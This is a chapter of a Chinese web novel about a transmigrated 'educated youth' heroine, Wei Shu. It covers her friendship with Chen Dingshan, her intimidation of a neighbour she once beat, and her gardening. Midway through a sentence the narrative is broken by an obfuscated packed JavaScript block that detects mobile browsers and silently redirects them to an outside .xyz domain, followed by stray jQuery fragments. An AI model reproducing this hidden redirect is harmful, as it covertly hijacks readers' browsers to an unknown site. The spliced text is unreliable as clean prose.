22. 算朋友吗
作品:《穿到苦情年代文当女主》 陈定山还想再多说几句,但一时又不知道该说什么话,傻站着看了魏舒一会儿,最终在魏舒一句“你还没走”下破防。
他尴尬地笑了笑,纠结着问:“魏知青,我有问题想问你。”
“你问。”
“呃,我是想问,咱们算是朋友吗?”陈定山磕磕巴巴地问了一句。
“咦?”魏舒把水桶放在地上,摩挲着下巴陷入了沉思。
这个问题问得有点水平,因为把她问倒了。
原主从小到大没有一个朋友,但她不是。有上学时玩得比较好的同学,也有工作后能聊得来的同事,但陈定山问他们算不算朋友,她还得仔细想一想,才能确定。
其实要问她怎么样才能算朋友,魏舒也不知道这个问题的答案是什么。她当初交的朋友,也没有思考这样算不算,就是觉得说得来,就一直有交往了。如果按照这个标准来,那她和陈定山应该也能算吧?
虽然他们俩见了面也不是说起话来滔滔不绝,但这几天接触下来,感觉陈定山还算是比较正派,又不至于死板(比如说他知道偷鱼吃),而且他暂时也没什么对女性有偏见的言论、行为,魏舒觉得,自己还挺愿意和他来往的。
况且,朋友里也能再分个三六九等,有普通朋友,也有交情很铁的朋友,按普通朋友来说,她和陈定山应该能算?
她点点头,觉得这个答案还行,于是对陈定山说道:“算吧。”
陈定山长长松了一口气。
天知道他等魏舒思考等得有多煎熬!
他就是自己拿不准,才想问魏舒的。但是等他问完,看见魏舒在思考,又开始后悔了。她要思考,岂不是证明她之前都没把他当成朋友?否则还用思考吗,直接就可以回答了。
他又转念一想,魏舒的反应也不能说她没把自己当朋友。如果是这样,那她直接说不算就行了,同样没必要思考。
陈定山就这样陷入了“他们算朋友吗?不算”“他们算朋友吗?可能算”的无限纠结之中。
直到魏舒思考完毕,给出自己的答案,陈定山才觉得自己终于得到了解脱。
她居然说他们算是朋友!天啊,他们居然是朋友,他们是朋友!
这个意外的答案让陈定山欣喜若狂,他看着魏舒,突然笑起来。
这个笑和他问这个问题时那个尴尬的笑容完全不同,他笑得大大的,眼睛也弯了起来,笑意浓得甚至感染得魏舒也禁不住跟着笑了起来。
“喂,好好地你突然笑这么开心干嘛?”魏舒带着忍不住的笑意问。
“嘿嘿,就是开心嘛。”陈定山挠挠头发,心机地没告诉魏舒原因。
两人互相傻笑了一会儿,陈定山才问道:“你今天要练多久啊?”
“再练一会儿就不练了。”
“哦哦。”陈定山应着声,又嘱咐,“睡前记得按摩。”
“哎呀我忘不了的,你怎么有点啰唆啊。”
陈定山心虚地摸摸鼻子,“那,那我继续跑步去了,明天见。”
魏舒朝他挥挥手,又提起刚才被放地上的水桶。
……
第二天,魏舒的跑步范围就扩大了。
她这段时间就在住处周边,是因为还不放心两只鸡,但这几天下来,两只鸡都老老实实地在鸡圈里待着,她也就放下心来,开始把这些天收缩的范围再扩回去。
魏舒绕着三桥大队外围跑着,在跑到孙家附近时,竟然破天荒地看见了孙二妮,她站在大门口,不知道是想做什么。
看见孙二妮的身影,魏舒的脚步渐渐停下来,她站在路边,盯着孙二妮看。
孙二妮刚关好门,转过身就正对上魏舒的视线,她下意识打了个激灵。
发现她注意到了自己,魏舒缓缓扯起嘴角,但眼里却没有一点笑意,她捏起拳头,对着孙二妮挥了挥。
见状,孙二妮连忙又打开大门,灰溜溜地躲回家里。
关上门,把门闩也插上,孙二妮还不放心,直到躲进堂屋,才觉得安全了点。
她还记得,十几天之前,她正在床上骂魏舒,谁知道魏舒突然就拿着根棍子闯进了屋里,对着她劈头盖脸就是一顿抽啊!可怜她身上还有前两天被魏舒打的伤,还没好呢就雪上加霜。
魏舒看上去瘦瘦的,也不知道哪来那么大劲,棍子狠狠地抽在她身上,疼得她啊啊大叫,一方面确实疼,另一方面则是她想通过这种方式,把邻居家的人引来。
然而她平时和邻居家的矛盾太深,听到她的喊声,邻居家愣是没有一个人过来看一眼,当魏舒抽了个尽兴。
到最后,也不知道魏舒打她打了多久,等魏舒终于停下手,用恶狠狠的语气警告孙二妮,让她以后安生着点儿,否则下次就把她的腿打断。
孙二妮起初还记恨上了魏舒,但是魏舒打得实在是太疼了,疼到她也记不得以后要报复了,听到魏舒的话赶紧点头,生怕自己点得慢了,又招来一顿打。
自那之后,孙二妮就没出过门了,直到今天,她身上的伤也没好全,本来是想出门活动活动,谁知到怎么背,一出门就碰上魏舒了。
生怕自己躲得不及时,就又惹到了那个女魔头。
孙二妮躲进屋里,一颗心仍然扑通扑通跳得厉害,她背靠着门站了一会儿,实在忍不住,扒着门缝往外看,试图看一看魏舒有没有再闯进来。
她眯着眼,使劲儿往院子里看,看了半天,也没在院子里看见人影。
看来她没进来。孙二妮这才长长地松了口气。
……
魏舒本来还想追上去再揍孙二妮一顿,但见她灰溜溜地躲回家里,看上去是真的被自己上次那顿殴打给吓到了,她啧了一声,没再搭理孙二妮。只希望孙二妮能一直这么听话下去,否则她还得偷偷摸摸过来揍人,这样很累的好不好。
魏舒跑了一圈,回去后又洗了把脸,把脸上的汗珠洗掉,洗脸水也没浪费,而是被她端去浇菜了。
她经常浇水,种的这些菜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210184|180947||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没缺过水,因此长势都很旺盛,她浇水的时候顺道看了一下,黄瓜已经开始冒出卷须了,魏舒高兴着,又忍不住开始发愁。
高兴自然是因为离结黄瓜越来越近,发愁则是因为她要找树枝架黄瓜,不只是黄瓜,豆角也是。不及时架,它们的须子就会掺在一起,在地上缠成一团,到时候就麻烦了。
好在她从种上这两种菜之后,就有意识地搜集细长的树枝,现在也已经攒了一小摞了,现在还没到架豆角的时候,她还有时间继续去捡树枝。
既然黄瓜已经开始长卷须了,魏舒干脆就先架黄瓜,早早架上,省得到时候再耽误了。
这活儿简单,她以前也没少给老妈打下手,因此对这活儿熟悉得很。
魏舒去把之前攒的树枝抱出来,又把同样早早就准备好的细绳子拿出来,每两簇黄瓜中间挖个坑,一口气把坑都挖完,她再把树枝放进去,埋上土,再踩结实。架子搭得牢,才能经得住风雨,不会轻易就倒了。
坑里都埋上树枝,魏舒就开始用绳子把两边的树枝挤在一起,最后再横着搭上一道树枝,就算完事儿了。
一通忙活下来,郭老太都过来了,而魏舒却还没开始做饭。
一看菜地的变化,郭老太就知道魏舒在忙什么了,得知她还没吃饭,郭老太催促道:“赶紧做饭去,咱晚一会儿再去放牛也没啥。”
“真的?!”魏舒大喜,她让郭老太先坐着歇一会儿,自己赶紧进了厨房鼓捣早饭。
还有几个鸡蛋没吃,她烧水煮了几个鸡蛋,又用热水冲了碗葛根粉。
“郭奶奶,给你吃个鸡蛋。”她端着饭出去,把其中一个鸡蛋递到郭老太面前。
“你吃吧,我吃完饭来的。”
魏舒也没坚持,吃了两个鸡蛋,把葛根粉喝完,又把碗洗干净,就赶紧关上门,和郭老太一起去放牛。
晌午放完牛回来,郭老太回家去,魏舒则是去鸡圈看了看,缺水了补水,缺食物了补食物,争取不让两只宝贝鸡饿着渴着。
生活就是这样一成不变,但这样的平淡里,也能看得出变化。比如魏舒的菜一天比一天高,两只鸡也一天比一天大,尽管每天能看出的变化其实很有限,但魏舒看在眼里,心里还是满溢着自豪——这些都是她打下的江山!自己真是能干啊!
在第二天晚上,魏舒在屋子外面继续自己的锻炼时,陈定山也从远方渐渐地靠了过来。
“晚上好啊,陈定山同志。”
自从前天捋清楚自己和陈定山现在也算是朋友,再看见陈定山时,魏舒开始主动给他打招呼了。只是由于现在月光不好,直到陈定山靠得近了,魏舒才终于认出来,这声招呼打得也晚了一些。
“晚上好。”陈定山笑着回应,同时放慢脚步,转而向魏舒走去。
“魏知青,可以打扰你一下吗?”
“哦?”魏舒不明白为什么,但还是暂停了动作。
他脸上看上去还挺严肃的,不知道有什么事儿,魏舒想。